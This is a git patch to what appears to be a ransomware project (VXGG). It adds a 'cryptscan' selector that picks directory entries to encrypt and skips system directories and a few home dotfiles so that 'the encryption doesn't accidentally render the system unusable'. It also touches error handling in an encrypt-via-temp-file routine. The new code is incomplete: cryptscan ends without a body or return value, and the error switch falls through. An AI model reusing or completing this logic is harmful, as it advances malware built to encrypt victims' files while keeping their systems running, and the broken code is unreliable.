From 9bf40160e911dd6c2affa856c375193ae0579947 Mon Sep 17 00:00:00 2001
From: "@syxhe" <https://t.me/syxhe>
Date: Sat, 27 Dec 2025 23:10:06 -0600
Subject: Start working on cryptscan again

---
 src/encryption.c | 35 ++++++++++++++++++++++-------------
 1 file changed, 22 insertions(+), 13 deletions(-)

(limited to 'src/encryption.c')

diff --git a/src/encryption.c b/src/encryption.c
index 9b264dc..e304e6e 100644
--- a/src/encryption.c
+++ b/src/encryption.c
@@ -287,9 +287,9 @@ int encryptviatmp(const char * const target, const char * const output, const un
     res = 0;
 
 CLEANUP_encryptviatmp:
-    // TODO: Add warning messages for verbose errors
     if(___VXGG___VERBOSE_ERRORS___) {
         switch (eflag) {
+            case 0: break;
             case 1: WARN(errno, "<encryptviatmp> Warning: Could not open target fd \"%s\"",, target);
             case 2: WARN(errno, "<encryptviatmp> Warning: Could not get real dirname for \"%s\"",, output);
             case 3: WARN(errno, "<encryptviatmp> Warning: Could not make temp file in target dir \"%s\"",, targetdir);
@@ -297,10 +297,10 @@ CLEANUP_encryptviatmp:
             case 5: WARN(errno, "<encryptviatmp> Warning: Could not get FILE* handle for output file",);
             case 6: ERROR(1, ENOTRECOVERABLE, "<encryptviatmp> ERROR: I don't even have a way to cause an error here. How did you do it?",);
             case 7: WARN(errno, "<encryptviatmp> Warning: Could not link \"%s\" into system after encryption",, output);
+            default: WARN(0, "<encryptviatmp> Warning: Ran into some unknown error",);
         }
     }
 
-
     free(targetdir);
     fclose(src);
     fclose(dst);
@@ -436,21 +436,30 @@ int genpassword(char **str, unsigned int words) {
 // fast, but I can also just reuse code I've already written and not make some absolute spaghetti mess trying to do everything
 // linearly
 
-int __cscan_worker(void *data) {
-    if(!data) return -1;
+/// Directory entries (files and folders) to exclude from encryption
+#define EXCLUDED_ENTRIES ((const char* const []){\
+    /* Entries found in /home/<user> */ \
+    ".config", ".bashrc", \
+    /* Entries included for extra safety, so that the encryption doesn't accidentally render the system unusable */ \
+    "bin", "dev", "lib", "root", "boot", "etc", "lib32", "run", "sys", "usr", "home", "lib64", "proc", "sbin", "var"\
+})
 
-    return 0;
-}
+/// Helper function to select files to be encrypted
+static int _cryptscan__selector(const struct dirent *de) {
+    // entries with non-zero returns get included, zeros get excluded
+    if(!de) return 0;
 
-ctqueue * cryptscan() {
-    ctqueue *res = ctqueue_init(TPSIZE), *working = ctqueue_init(TPSIZE);
-    if(!res || !working) ERRRET(errno, NULL);
+    for(int i = 0; i < STATIC_ARRAY_LEN(EXCLUDED_ENTRIES); i++) {
+        if(strncmp(de->d_name, EXCLUDED_ENTRIES[i], sizeof(de->d_name)) == 0)
+            return 0;
+    }
+
+    return 1;
+}
 
-    task *start = task_new(__cscan_worker, free, NULL);
-    if(!start) ERRRET(errno, NULL);
-    ctqueue_waitpush(working, start);
+ctqueue * cryptscan(int threads, const char * const start) {
+    if(!start || threads < 1) return NULL;
 
-    return res;
 }
 
 #endif
\ No newline at end of file
-- 
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